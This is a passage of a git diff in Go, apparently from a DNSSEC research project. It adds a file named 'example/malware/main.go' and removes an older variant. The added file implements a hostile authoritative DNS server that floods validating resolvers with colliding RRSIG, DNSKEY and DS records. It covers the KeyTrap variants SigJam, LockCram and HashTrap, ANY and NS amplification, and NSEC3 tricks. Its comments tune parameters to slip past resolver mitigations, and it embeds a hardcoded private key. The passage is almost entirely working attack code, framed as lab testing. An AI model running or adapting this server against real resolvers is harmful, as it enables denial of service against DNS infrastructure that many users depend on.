rr.Name + rr.Type.String() + rr.Class.String() - rMap[rid] = append(rMap[rid], rr) - } - for _, rrset := range rMap { - // SigJam攻击向量:CollidedSigNum - // 生成 错误RRSIG 记录 - uName := dns.GetUpperDomainName(&rrset[0].Name) - dMat := m.GetDNSSECMaterial(uName) - - for i := 0; i < m.AttackVec.CollidedSigNum; i++ { - wRRSIG := xperi.GenerateRandomRRRRSIG( - rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.ZSKTag), - uName, - ) - section = append(section, wRRSIG) - } - - sig := m.SignRRSet(rrset) - section = append(section, sig) - } - return section -} - -func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { - uName := dns.GetUpperDomainName(&rrset[0].Name) - dMat := m.GetDNSSECMaterial(uName) - - sort.Sort(dns.ByCanonicalOrder(rrset)) - - sig := xperi.GenerateRRRRSIG( - rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.ZSKTag), - uName, - dMat.ZSKPriv, - ) - return sig -} - -func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { - qType := qry.Question[0].Type - - // ANY攻击向量 - if qType == dns.DNSQTypeANY { - // 生成任意类型的 RR 集合 - anyset := []dns.DNSResourceRecord{} - var sType = 4096 - for i := 0; i < m.AttackVec.ANYRRSetNum; i++ { - rr := dns.DNSResourceRecord{ - Name: qry.Question[0].Name, - Type: dns.DNSType(sType + i), - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 10, 10)}, - } - anyset = append(anyset, rr) - } - resp.Answer = append(resp.Answer, anyset...) - } - - // 签名回答部分 - resp.Answer = m.SignSection(resp.Answer) - // 签名权威部分 - resp.Authority = m.SignSection(resp.Authority) - // 签名附加部分 - resp.Additional = m.SignSection(resp.Additional) - m.EstablishToC(qry, resp) -} - -func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { - zskRecord, zskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) - zskTag := xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) - for zskTag < uint16(m.AttackVec.CollidedZSKNum) { - zskRecord, zskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) - zskTag = xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) - } - - kskRecord, kskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) - kskTag := xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) - for kskTag < uint16(m.AttackVec.DS_KSK_PairNum) { - kskRecord, kskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) - kskTag = xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) - } - - return DNSSECMaterial{ - ZSKTag: int(zskTag), - KSKTag: int(kskTag), - - ZSKRecord: zskRecord, - KSKRecord: kskRecord, - - ZSKPriv: zskPriv, - KSKPriv: kskPriv, - } -} - -// GetDNSSECMaterial 获取指定区域的 DNSSEC 材料 -// 如果该区域的 DNSSEC 材料不存在,则会根据 DNSSEC 配置生成一个 -func (m *KeyTrapManager) GetDNSSECMaterial(zName string) DNSSECMaterial { - dMat, ok := m.DNSSECMap.Load(zName) - if !ok { - dMat = m.CreateDNSSECMaterial(zName) - m.DNSSECMap.Store(zName, dMat) - } - return dMat.(DNSSECMaterial) -} - -// EstablishToC 根据查询自动添加 DNSKEY,DS,RRSIG 记录 -// 自动完成信任链(Trust of Chain)的建立。 -// 其接受参数为: -// - qry dns.DNSMessage,查询信息 -// - m.DNSSECConf DNSSECConfig,DNSSEC 配置 -// - dMap map[string]DNSSECMaterial,区域名与其相应 DNSSEC 材料的映射 -// - resp *dns.DNSMessage,回复信息 -func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error { - // 提取查询类型和查询名称 - qType := qry.Question[0].Type - qName := strings.ToLower(qry.Question[0].Name) - dMat := m.GetDNSSECMaterial(qName) - - if qType == dns.DNSRRTypeDNSKEY { - // 如果查询类型为 DNSKEY, - - // LockCram攻击向量:CollidedKeyNum - // 生成 错误ZSK DNSKEY 记录 - rrset := []dns.DNSResourceRecord{dMat.ZSKRecord, dMat.KSKRecord} - for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { - wZSK := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagZoneKey, - dMat.ZSKTag, - ) - rrset = append(rrset, dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(wZSK.Size()), - RData: &wZSK, - }) - } - // HashTrap v2 攻击向量: DS_KSK_PairNum - for i := 1; i <= m.AttackVec.DS_KSK_PairNum; i++ { - kskTag := dMat.KSKTag - i - kskRR := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagSecureEntryPoint, - kskTag, - ) - rrset = append(rrset, dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(kskRR.Size()), - RData: &kskRR, - }) - - // HashTrap攻击向量: CollidedKSKNum - // 生成 错误KSK DNSKEY 记录 - for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { - wKSK := xperi.GenerateRandomDNSKEYWithTag( - m.DNSSECConf.DAlgo, - dns.DNSKEYFlagSecureEntryPoint, - int(kskTag), - ) - rrset = append(rrset, dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(wKSK.Size()), - RData: &wKSK, - }) - } - } - sort.Sort(dns.ByCanonicalOrder(rrset)) - // 生成密钥集签名 - sig := xperi.GenerateRRRRSIG( - rrset, - dns.DNSSECAlgorithmECDSAP384SHA384, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.KSKTag), - qName, - dMat.KSKPriv, - ) - rrset = append(rrset, sig) - - resp.Answer = append(resp.Answer, rrset...) - resp.Header.RCode = dns.DNSResponseCodeNoErr - } else if qType == dns.DNSRRTypeDS { - // 如果查询类型为 DS,则生成 DS 记录 - dMat := m.GetDNSSECMaterial(qName) - - rrset := []dns.DNSResourceRecord{} - - // HashTrap v2 攻击 - for i := 0; i < m.AttackVec.DS_KSK_PairNum; i++ { - kskTag := dMat.KSKTag - i - // HashTrap 攻击向量:CollidedDSNum - // 生成 错误DS 记录 - for i := 0; i < m.AttackVec.CollidedDSNum; i++ { - wDS := xperi.GenerateRandomRRDS(qName, kskTag, m.DNSSECConf.DAlgo, m.DNSSECConf.DType) - rrset = append(rrset, wDS) - } - } - - // 生成正确DS记录 - kskRData, _ := dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY) - ds := xperi.GenerateRRDS(qName, *kskRData, m.DNSSECConf.DType) - rrset = append(rrset, ds) - - upName := dns.GetUpperDomainName(&qName) - dMat = m.GetDNSSECMaterial(upName) - - sort.Sort(dns.ByCanonicalOrder(rrset)) - - sig := xperi.GenerateRRRRSIG( - rrset, - m.DNSSECConf.DAlgo, - uint32(time.Now().UTC().Unix()+86400-3600), - uint32(time.Now().UTC().Unix()-3600), - uint16(dMat.ZSKTag), - upName, - dMat.ZSKPriv, - ) - - rrset = append(rrset, sig) - - resp.Answer = append(resp.Answer, rrset...) - resp.Header.RCode = dns.DNSResponseCodeNoErr - } - godns.FixCount(resp) - return nil -} -func (r *KeyTrapResponser) Response(connInfo godns.ConnectionInfo) ([]byte, error) { - // 解析查询信息 - qry, err := godns.ParseQuery(connInfo) - if err != nil { - r.ResponserLogger.Printf("Error parsing query: %v", err) - return []byte{}, err - } - - // 将可能启用0x20混淆的查询名称转换为小写 - qName := strings.ToLower(qry.Question[0].Name) - qType := qry.Question[0].Type - qClass := qry.Question[0].Class - - r.ResponserLogger.Printf("Recive DNS Query from %s,Protocol: %s, Name: %s, Type: %s, Class: %s\n", - connInfo.Address.String(), connInfo.Protocol, qName, qType, qClass) - - // 初始化 NXDOMAIN 回复信息 - resp := godns.InitNXDOMAIN(qry) - - switch qType { - case dns.DNSRRTypeA: - // 生成 A 记录 - rr := dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeA, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 1, 3)}, - } - resp.Answer = append(resp.Answer, rr) - case dns.DNSRRTypeNS: - // 生成 NS 记录 - rr := dns.DNSResourceRecord{ - Name: qName, - Type: dns.DNSRRTypeNS, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: 0, - RData: &dns.DNSRDATANS{NSDNAME: qName}, - } - resp.Answer = append(resp.Answer, rr) - } - - // 为回复信息添加 DNSSEC 记录 - r.DNSSECManager.EnableDNSSEC(qry, &resp) - - // 设置RCODE,修正计数字段,返回回复信息 - resp.Header.RCode = dns.DNSResponseCodeNoErr - godns.FixCount(&resp) - - data := resp.Encode() - - // crsp, err := dns.CompressDNSMessage(data) - // if err != nil { - // r.ResponserLogger.Printf("Error compressing response: %v", err) - // return data, nil - // } else { - // return crsp, nil - // } - - return data, nil -} - -func main() { - conf := godns.DNSServerConfig{ - IP: net.IPv4(10, 10, 1, 3), - Port: 53, - - // stdout - LogWriter: os.Stdout, - - EnebleCache: true, - CacheLocation: "./cache", - - PoolCapcity: -1, - } - - // 生成 KSK 和 ZSK - // 使用ParseKeyBase64解析预先生成的公钥, - // 该公钥应确保能够被解析器通过 信任锚(Trust Anchor)建立的 信任链(Chain of Trust) 所验证。 - kskPublic := xperi.ParseKeyBase64("MzJsFTtAo0j8qGpDIhEMnK4ImTyYwMwDPU5gt/FaXd6TOw6AvZDAj2hlhZvaxMXV6xCw1MU5iPv5ZQrb3NDLUU+TW07imJ5GD9YKi0Qiiypo+zhtL4aGaOG+870yHwuY") - kskPriv := xperi.ParseKeyBase64("ppaXHmb7u1jOxEzrLzuGKzbjmSLIK4gEhQOvws+cpBQyJbCwIM1Nrk4j5k94CP9e") - - material := InitMaterial("test", dns.DNSSECAlgorithmECDSAP384SHA384, kskPublic, kskPriv) - - dMap := sync.Map{} - dMap.Store("test", material) - - server := godns.NewGoDNSServer(conf, - &KeyTrapResponser{ - ResponserLogger: log.New(conf.LogWriter, "KeyTrapResponser: ", log.LstdFlags), - DNSSECManager: &KeyTrapManager{ - DNSSECConf: godns.DNSSECConfig{ - DAlgo: dns.DNSSECAlgorithmECDSAP384SHA384, - DType: dns.DNSSECDigestTypeSHA384, - }, - DNSSECMap: dMap, - AttackVec: ExperiVec, - }, - }, - ) - - server.Start() -} - -// InitTrustAnchor 根据 DNSSEC 配置生成指定区域的信任锚点 -// 其接受参数为: -// - zName string,区域名 -// - dConf DNSSECConfig,DNSSEC 配置 -// - kBytes []byte,KSK 公钥 -// - pkBytes []byte,KSK 私钥 -// -// 返回值为: -// - map[string]DNSSECMaterial,生成的信任锚点 -func InitMaterial(name string, algo dns.DNSSECAlgorithm, kskPublic, kskPriv []byte) DNSSECMaterial { - - zskRR, zskPriv := xperi.GenerateRRDNSKEY(name, algo, dns.DNSKEYFlagZoneKey) - zskRDATA := zskRR.RData.(*dns.DNSRDATADNSKEY) - - kskRDATA := dns.DNSRDATADNSKEY{ - Flags: dns.DNSKEYFlagSecureEntryPoint, - Protocol: dns.DNSKEYProtocolValue, - Algorithm: algo, - PublicKey: kskPublic, - } - - kskRR := dns.DNSResourceRecord{ - Name: name, - Type: dns.DNSRRTypeDNSKEY, - Class: dns.DNSClassIN, - TTL: 86400, - RDLen: uint16(kskRDATA.Size()), - RData: &kskRDATA, - } - - zskTag := xperi.CalculateKeyTag(*zskRDATA) - kskTag := xperi.CalculateKeyTag(kskRDATA) - - return DNSSECMaterial{ - ZSKTag: int(zskTag), - KSKTag: int(kskTag), - - ZSKRecord: zskRR, - KSKRecord: kskRR, - - ZSKPriv: zskPriv, - KSKPriv: kskPriv, - } -} diff --git a/example/malware/main.go b/example/malware/main.go new file mode 100644 index 0000000..453391b --- /dev/null +++ b/example/malware/main.go @@ -0,0 +1,1396 @@ +package main + +import ( + "encoding/base64" + "fmt" + "log" + "math/rand" + "net" + "os" + "sort" + "strconv" + "strings" + "sync" + "time" + + "github.com/tochusc/xdns" + "github.com/tochusc/xdns/dns" + "github.com/tochusc/xdns/dns/xperi" +) + +var ServerIP = net.IPv4(10, 10, 1, 4) +var IsNameCompression = false +var IsDNSSEC = true +var InitTime = time.Now().UTC().Unix() +var IsTCPEnabled = false + +var SOARDATA = &dns.DNSRDATASOA{ + MName: "ns.test", + RName: "hostmaster.test", + Serial: uint32(InitTime), + Refresh: 3600, + Retry: 1800, + Expire: 604800, + Minimum: 86400, +} + +// 测试向量 +var ExperiVec = AttackVector{ + CollidedSigNum: 1, + CollidedSigForRR: 0, + CollidedZSKNum: 0, + CollidedKSKNum: 0, + DynamicCollidedKSKNum: false, + CollidedDSNum: 0, + DynamicCollidedDSNum: false, + + ANYRRSetNum: 0, + + // SigPairTrap + ValidZSKNum: 0, + Invalid_SIG_ZSK_PairNum: 0, + SIGPairDecreaseFactor: 0, + InvalidCollidedZSKNum: 0, + InvalidCollidedSigNum: 0, + + Invalid_DS_KSK_PairNum: 0, + DSPairDecreaseFactor: 0, + InvalidCollidedKSKNum: 0, + InvalidCollidedDSNum: 0, + + RandomDNSKEYNum: 0, + RandomDNSKEYFlag: dns.DNSKEYFlagZoneKey, + RandomTagSigNum: 0, + RandomTagDSNum: 0, + DynamicRandomDSNum: false, + + TXTRRNum: 0, + TXTRDataSize: 16384, + CNAMEChainNum: 0, + NSRRNum: 5, + ReDelegationDepth: 0, + + AdditionalRRNum: 0, + + IsNSEC: true, + NSECRRNum: 8, + NSEC3ItertationNum: -1, + // www.atk.testd + // DNSSEC Query: #RRSIG = CollidedSigNum + 1(Valid) + // DNSKEY Query: #DNSKEY = #ZSK && #KSK = CollidedZSKNum + 1(Valid) && CollidedKSKNum + 1(Valid) + // DS Query: #DS = Invalid_DS_KSK_PairNum * CollidedDSNum + 1(Valid) + // ANY Query: #RRSet = ANYRRSettNum + + // Adujust AttackVector --> Adjust KeyTrap Attack. + + // KeyTrap Variants: + // 1. SigJam (Validation Order✔️) --> RRSIG* x DNSKEY --> CollidedSigNum (RRSIG Validation) + // 2. LockCram (Validation Order❌) --> RRSIG x DNSKEY* --> CollidedZSKNum (RRSIG Validation) + // 3. KeySigTrap (Validation Order❌) --> RRSIG* x DNSKEY* --> CollidedSigNum, CollidedZSKNum (RRSIG Validation) + // 4. HashTrap (Validation Order✔️) --> DS* x DNSKEY* --> CollidedDSNum, CollidedKSKNum (Hash Calculation) + // X. ANY (No Failure, #RRSet⬆️) --> (RRSIG, DNSKEY)* --> ANYRRSettNum (RRSIG Validation) + + // Mitigation + // Limitaiton: + // 1. SigJam --> #RRSIG* Limitation + // 2. LockCram --> #DNSKEY* Limitation + // 3. KeySigTrap --> #RRSIG* && #DNSKEY* Limitation + // 4. HashTrap --> #DS* && #DNSKEY* Limitation + // X. ANY --> #(RRSIG Val.) Limitation + + // Mechanism: + // Suspend(Unbound) + // Workload balance(BIND) + + // X. --> #(RRSIG Val.) Limitation --> Hard to bypass + + // Loophole? + // Notice: No (#Hash Cal.) Limitation + // Only: #DS* && #DNSKEY* Limitation + + // ANY + HashTrap: + // HashTrap: DS* x DNSKEY* + // ANY: (RRSIG, DNSKEY)* + // + // HashTrap v2: (DS, RRSIG)* + // If possible: (DS*, RRSIG*)* + // HashTrap * Deep Delegation. + + // Test config + // Delegation: + // test --> atk.test: 80 + 1 DS_KSK_Pair, + + // 80 Invalid DS_KSK_Pair + // 1 Valid DS_KSK_Pair --> which signs ZSK's RRSIG + + // 80 Invalid DS_KSK_Pair config: + // 10 KegTag== DS (CollidedDSNum) + // 5 KeyTag== KSK (CollidedKSKNum) + + // 1 Valid DS_KSK_Pair config: + // 1 Right DS + // 1 Right KSK + // Make sure return NOERROR. + + // DS Query: 80*10 + 1 = 801(SHA384 DS) + // DNSKEY Query: 80*5 + 1 = 401(ECDSA384 DNSKEY) + + // Size: + // 801 SHA384 DS ~60KB + // 401 ECDSA384 KSK ~60KB --> RSA... --> #KSK↑ + + // #Hash: + // 80*10*5+1 = 4000 SHA384 (plain text size: ~300B) +} + +type KeyTrapResponser struct { + ResponserLogger *log.Logger + DNSSECManager KeyTrapManager + AttackVector AttackVector +} + +// 攻击向量 +type AttackVector struct { + // SigJam + CollidedSigNum int + CollidedSigForRR int + // LockCram + CollidedZSKNum int + // HashTrap + CollidedKSKNum int + CollidedDSNum int + // ANY + ANYRRSetNum int + + // SigPairTrap + Invalid_SIG_ZSK_PairNum int + SIGPairDecreaseFactor int + InvalidCollidedZSKNum int + ValidZSKNum int + InvalidCollidedSigNum int + + // DSPairTrap + Invalid_DS_KSK_PairNum int + DSPairDecreaseFactor int + InvalidCollidedKSKNum int + InvalidCollidedDSNum int + + // TagTrap + RandomDNSKEYNum int + RandomDNSKEYFlag dns.DNSKEYFlag + RandomTagSigNum int + RandomTagDSNum int + DynamicRandomDSNum bool + + // Deep Delegation + DynamicCollidedKSKNum bool + DynamicCollidedDSNum bool + + // AdditionalJam + AdditionalRRNum int + + // Tricks + // Large RRSet + TXTRRNum int // Resource Record Numer in RRSet + // Large RDATA + TXTRDataSize int // RDATA Size in Resource TXTRRNum + RandomString string + + // Long CNAME Chain + CNAMEChainNum int // CNAME Chain Number + + // NS Amplification + NSRRNum int // Resource Record Numer in RRSet + ReDelegationDepth int // ReDelegation Depth + IsNSEC bool + NSECRRNum int + NSEC3ItertationNum int // NSEC3 Iteration Number + Salt string // NSEC3 Salt +} + +type KeyTrapManager struct { + // DNSSEC 配置 + DNSSECConf xdns.DNSSECConfig + + // 区域名与其相应 DNSSEC 材料的映射 + // 在初始化 DNSSEC Responser 时需要为其手动添加信任锚点 + DNSSECMap sync.Map + + // KeyTrap攻击向量 + AttackVec AttackVector +} + +// DNSSEC 材料 +type DNSSECMaterial struct { + // Key Tag + ZSKTag int + KSKTag int + + OtherZSK []dns.DNSResourceRecord + OtherZSKTag []int + + // 公钥RDATA + ZSKRecord dns.DNSResourceRecord + KSKRecord dns.DNSResourceRecord + + // 私钥字节 + ZSKPriv []byte + KSKPriv []byte +} + +// SignSection 为指定的DNS回复消息中的区域(Answer, Authority, Addition)进行签名 +// 其接受参数为: +// - section []dns.DNSResourceRecord,待签名的区域(Answer, Authority, Addition)信息 +// +// 返回值为: +// - []dns.DNSResourceRecord,签名后的区域(Answer, Authority, Addition)信息 +func (m *KeyTrapManager) SignSection(section []dns.DNSResourceRecord) []dns.DNSResourceRecord { + rMap := make(map[string][]dns.DNSResourceRecord) + for _, rr := range section { + if rr.Type == dns.DNSRRTypeRRSIG { + continue + } + rid := rr.Name + rr.Type.String() + rr.Class.String() + rMap[rid] = append(rMap[rid], rr) + } + for _, rrset := range rMap { + // SigJam攻击向量:CollidedSigNum + // 生成 错误RRSIG 记录 + uName := dns.GetUpperDomainName(&rrset[0].Name) + dMat := m.GetDNSSECMaterial(uName) + + if len(strings.Split(rrset[0].Name, ".")) == 3 && rrset[0].Name[0:1] == "w" { + for i := 0; i < m.AttackVec.CollidedSigNum+m.AttackVec.CollidedSigForRR; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + uName, + ) + section = append(section, wRRSIG) + } + } + + // TagTrap攻击向量: RandomTagSigNum + // 生成 随机Tag的 RRSIG 记录 + for i := 0; i < m.AttackVec.RandomTagSigNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(rand.Intn(65535)), + uName, + ) + section = append(section, wRRSIG) + } + + if len(dMat.OtherZSK) != 0 { + + for i := 0; i < m.AttackVec.ValidZSKNum; i++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.OtherZSKTag[i]), + uName, + ) + section = append(section, wRRSIG) + } + } + + for i := 1; i <= m.AttackVec.Invalid_SIG_ZSK_PairNum-m.AttackVec.SIGPairDecreaseFactor*len(strings.Split(rrset[0].Name, ".")); i++ { + keytag := dMat.ZSKTag - i + for j := 0; j < m.AttackVec.InvalidCollidedSigNum; j++ { + wRRSIG := xperi.GenerateRandomRRRRSIG( + rrset, + m.DNSSECConf.DAlgo, + uint32(InitTime+86400), + uint32(InitTime), + uint16(keytag), + uName, + ) + section = append(section, wRRSIG) + } + + } + sig := m.SignRRSet(rrset) + section = append(section, sig) + } + return section +} + +// SignRRSet 为指定的 RR 集合签名 +// 其接受参数为 +// - rrset []dns.DNSResourceRecord,RR 集合 +func (m *KeyTrapManager) SignRRSet(rrset []dns.DNSResourceRecord) dns.DNSResourceRecord { + var uName string + if len(strings.Split(rrset[0].Name, ".")) == 2 { + if rrset[0].Type == dns.DNSRRTypeNSEC || + rrset[0].Type == dns.DNSRRTypeNS || + rrset[0].Type == dns.DNSRRTypeNSEC3 { + uName = rrset[0].Name + } else { + uName = dns.GetUpperDomainName(&rrset[0].Name) + } + } else { + uName = dns.GetUpperDomainName(&rrset[0].Name) + } + + dMat := m.GetDNSSECMaterial(uName) + + sort.Sort(dns.ByCanonicalOrder(rrset)) + + sig := xperi.GenerateRRRRSIG( + rrset, + dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY).Algorithm, + uint32(InitTime+86400), + uint32(InitTime), + uint16(dMat.ZSKTag), + uName, + dMat.KSKPriv, + ) + return sig +} + +// EnableDNSSEC 为指定的 DNS 查询启用 DNSSEC +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - resp *dns.DNSMessage,指向指定回复信息的指针 +func (m *KeyTrapManager) EnableDNSSEC(qry dns.DNSMessage, resp *dns.DNSMessage) { + qType := qry.Question[0].Type + + // ANY攻击向量 + if qType == dns.DNSQTypeANY { + // 生成任意类型的 RR 集合 + anyset := []dns.DNSResourceRecord{} + var sType = 4096 + for i := 0; i < m.AttackVec.ANYRRSetNum; i++ { + rr := dns.DNSResourceRecord{ + Name: qry.Question[0].Name, + Type: dns.DNSType(sType + i), + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &dns.DNSRDATAA{Address: net.IPv4(10, 10, 10, 10)}, + } + anyset = append(anyset, rr) + } + resp.Answer = append(resp.Answer, anyset...) + } + + // 签名回答部分 + resp.Answer = m.SignSection(resp.Answer) + // 签名权威部分 + resp.Authority = m.SignSection(resp.Authority) + // 签名附加部分 + resp.Additional = m.SignSection(resp.Additional) + m.EstablishToC(qry, resp) +} + +// CreateDNSSECMaterial 生成指定区域的 DNSSEC 材料 +// 其接受参数为: +// - zName string,区域名 +// +// 返回值为: +// - DNSSECMaterial,生成的 DNSSEC 材料 +func (m *KeyTrapManager) CreateDNSSECMaterial(zName string) DNSSECMaterial { + zskRecord, zskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag := xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + for zskTag < uint16(m.AttackVec.CollidedZSKNum) { + zskRecord, zskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + zskTag = xperi.CalculateKeyTag(*zskRecord.RData.(*dns.DNSRDATADNSKEY)) + } + + autreZSK := []dns.DNSResourceRecord{} + autreZSKTag := []int{} + // SigPairTrap攻击向量:ValidZSKNum + for i := 0; i <= m.AttackVec.ValidZSKNum; i++ { + zzz, _ := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagZoneKey) + autreZSK = append(autreZSK, zzz) + autreZSKTag = append(autreZSKTag, int(xperi.CalculateKeyTag(*zzz.RData.(*dns.DNSRDATADNSKEY)))) + } + + kskRecord, kskPriv := xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag := xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + kskRecord, kskPriv = xperi.GenerateRRDNSKEY(zName, m.DNSSECConf.DAlgo, dns.DNSKEYFlagSecureEntryPoint) + kskTag = xperi.CalculateKeyTag(*kskRecord.RData.(*dns.DNSRDATADNSKEY)) + + return DNSSECMaterial{ + ZSKTag: int(zskTag), + KSKTag: int(kskTag), + + ZSKRecord: zskRecord, + KSKRecord: kskRecord, + + ZSKPriv: zskPriv, + KSKPriv: kskPriv, + + OtherZSK: autreZSK, + OtherZSKTag: autreZSKTag, + } +} + +// GetDNSSECMaterial 获取指定区域的 DNSSEC 材料 +// 如果该区域的 DNSSEC 材料不存在,则会根据 DNSSEC 配置生成一个 +func (m *KeyTrapManager) GetDNSSECMaterial(zName string) DNSSECMaterial { + dMat, ok := m.DNSSECMap.Load(zName) + if !ok { + dMat = m.CreateDNSSECMaterial(zName) + m.DNSSECMap.Store(zName, dMat) + } + return dMat.(DNSSECMaterial) +} + +// EstablishToC 根据查询自动添加 DNSKEY,DS,RRSIG 记录 +// 自动完成信任链(Trust of Chain)的建立。 +// 其接受参数为: +// - qry dns.DNSMessage,查询信息 +// - m.DNSSECConf DNSSECConfig,DNSSEC 配置 +// - dMap map[string]DNSSECMaterial,区域名与其相应 DNSSEC 材料的映射 +// - resp *dns.DNSMessage,回复信息 +func (m *KeyTrapManager) EstablishToC(qry dns.DNSMessage, resp *dns.DNSMessage) error { + // 提取查询类型和查询名称 + qType := qry.Question[0].Type + qName := strings.ToLower(qry.Question[0].Name) + dMat := m.GetDNSSECMaterial(qName) + + if qType == dns.DNSRRTypeDNSKEY { + // 如果查询类型为 DNSKEY, + // LockCram攻击向量:CollidedZSKNum + // 生成 错误ZSK DNSKEY 记录 + rrset := []dns.DNSResourceRecord{} + if qName != "test" { + for i := 0; i < m.AttackVec.CollidedZSKNum; i++ { + wZSK := xperi.GenerateCollidedDNSKEY( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wZSK.Size()), + RData: &wZSK, + } + rrset = append(rrset, rr) + resp.Answer = append(resp.Answer, rr) + } + } + + // SigPairTrap攻击向量:ValidZSKNum + if len(dMat.OtherZSK) != 0 { + for i := 0; i < m.AttackVec.ValidZSKNum; i++ { + rrset = append(rrset, dMat.OtherZSK[i]) + resp.Answer = append(resp.Answer, dMat.OtherZSK[i]) + } + } + + // SigPairTrap攻击向量:Invalid_SIG_ZSK_PairNum + for i := 1; i <= m.AttackVec.Invalid_SIG_ZSK_PairNum-m.AttackVec.SIGPairDecreaseFactor*len(strings.Split(qName, ".")); i++ { + // 生成 错误ZSK DNSKEY 记录 + for j := 0; j < m.AttackVec.InvalidCollidedZSKNum; j++ { + wZSK := xperi.GenerateDNSKEYWithTag( + *dMat.ZSKRecord.RData.(*dns.DNSRDATADNSKEY), + i, + ) + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: 0, + RData: &wZSK, + } + rrset = append(rrset, rr) + resp.Answer = append(resp.Answer, rr) + } + } + + if qName != "test" { + // HashTrap攻击向量: CollidedKSKNum + // 生成 错误KSK DNSKEY 记录 + if m.AttackVec.DynamicCollidedKSKNum { + // DNSKEY RR Size = QNAME + 10 + RDATA(4 + PublicKeySize) + // DNSKEY RRSet Size = DS RR Size * CollidedKSKNum + // DNSKEY RRSet Size < 65535 Bytes + // (QNAME + 10 + 4 + PublicKeySize) * CollideKSKNum < 65535 + // CollidedKSKNum < 65535 / (QNAME + 10 + 4 + PublicKeySize) + qNameSize := dns.GetDomainNameWireLen(&qName) + collidedKSKNum := 62000 / (qNameSize + 10 + 4 + dns.PubilcKeySizeOf(m.DNSSECConf.DAlgo)) + for i := 0; i < collidedKSKNum; i++ { + wKSK := xperi.GenerateCollidedDNSKEY( + *dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + } + + rrset = append(rrset, rr) + resp.Answer = append(resp.Answer, rr) + } + } else { + for i := 0; i < m.AttackVec.CollidedKSKNum; i++ { + wKSK := xperi.GenerateCollidedDNSKEY( + *dMat.KSKRecord.RData.(*dns.DNSRDATADNSKEY), + ) + rr := dns.DNSResourceRecord{ + Name: qName, + Type: dns.DNSRRTypeDNSKEY, + Class: dns.DNSClassIN, + TTL: 86400, + RDLen: uint16(wKSK.Size()), + RData: &wKSK, + } + + rrset = append(rrset, rr) + resp.Answer = append(resp.Answer, rr) + } + } + } + + rrset = append(rrset, dMat.ZSKRecord, 